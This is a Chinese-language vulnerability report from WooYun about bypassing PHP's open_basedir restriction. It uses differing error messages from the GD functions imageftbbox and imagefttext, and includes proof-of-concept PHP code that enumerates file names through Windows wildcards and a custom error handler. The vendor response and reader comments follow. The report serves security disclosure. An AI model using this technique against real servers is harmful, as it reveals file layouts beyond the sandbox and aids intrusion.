当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(31) 关注此漏洞

缺陷编号： WooYun-2014-83688

漏洞标题： php设计缺陷导致绕过open_basedir列举目录之3

相关厂商： PHP

漏洞作者： phith0n认证白帽子

提交时间： 2014-11-18 12:11

公开时间： 2014-12-30 14:44

漏洞类型： 设计错误/逻辑缺陷

危害等级： 高

自评Rank： 12

漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 逻辑错误

7人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-18： 细节已通知厂商并且等待厂商处理中
2014-11-23： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2015-01-17： 细节向核心白帽子及相关领域专家公开
2015-01-27： 细节向普通白帽子公开
2015-02-06： 细节向实习白帽子公开
2014-12-30： 细节向公众公开

简要描述：

@/fd 曾在这篇帖子里 http://zone.wooyun.org/content/11268 给出了一些绕过open_basedir的方法。方法总体来说有一些鸡肋性，看客官如何理解了。
根据PHP的尿性，这个洞肯定忽略了，之后我也会整理一些类似的方法，公布出来。
#3为两个类似函数均有风险，统一提交。

详细说明：

@/fd的代码里对于列目录有两个方法，一是利用DirectoryIterator类，二是利用realpath函数。前者很好用，我就不多说了。单说下后者，realpath函数在处理已存在的文件（目录）与不存在的文件（目录）时情况不同，如果文件已存在则会抛出错误:open_basedir restriction in effect. File(xxxxx) is not within the allowed path(s)，如果文件不存在则会返回false。



所以我们可以通过捕捉错误handle，来判断某文件是否存在。



我的第三个方法也类似。



php的gd2库有一个函数叫imageftbbox：



001.jpg





GD库基本上是php必备库，所以也不存在鸡肋不鸡肋的说法。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候，当文件存在，则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

测试代码：

code 区域
<?php


printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));


imageftbbox(100, 100, $_GET['file'], 'aaa');


?>



结果：

002.jpg



003.jpg





所以，我们可以根据php抛出错误的不同来判断某个文件是否存在，进而进行目录的枚举。



在php的GD中，还有个类似的函数（也是需要加载字体的函数）存在同样的问题，是imagefttext。我就一起提交了。

漏洞证明：

在windows下，我们可以通过windows特性，也就是“通配符”来快速枚举目录，不需要暴力跑目录了。

详细代码见#1，这里情况有些不同，所以我再说一遍。

例如d:/test/下有如下文件：

004.jpg





我写了个简单的，但只能枚举文件第一个字符的代码：

code 区域
<?php


printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));


set_error_handler('isexists');


$dir = 'd:/test/';


$file = '';


$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';


for ($i=0; $i < strlen($chars); $i++) { 


	$file = $dir . $chars[$i] . '<><';


	//$m = imagecreatefrompng("zip.png");


	//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');


	imageftbbox(100, 100, $file, 'aaa');


}





function isexists($errno, $errstr)


{


	global $file;


	if (stripos($errstr, 'Invalid font filename') === FALSE) {


		printf("%s<br/>", $file);


	}


}


?>



输出如下：

005.jpg





可见已列出第一个字符了。顺势我们就可以逐一列出后面的每个字符，造成目录的枚举，我就不具体给代码了，大家自己发挥自己的想象。

修复方案：

只要在open_basedir外，不管文件是否存在，都应该抛出相同错误。

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-30 14:44

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-18 12:30 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 )
    4

    强势围观！

    1# 回复此人
  2. 2014-11-18 13:16 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)
    2

    高端

    2# 回复此人
  3. 2014-11-18 13:22 | do9gy ( 实习白帽子 | Rank:78 漏洞数:17 | Dog loves God。)
    2

    PHP.NET表示不服

    3# 回复此人
  4. 2014-11-18 15:56 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)
    2

    mark

    4# 回复此人
  5. 2014-11-22 03:41 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号，不装逼了，再见孩子们。by Mosua...)
    3

    @do9gy php.net.java.c.c++.c#.css.html.css.javascript表示不服.....

    5# 回复此人

登录后才能发表评论，请先 登录 。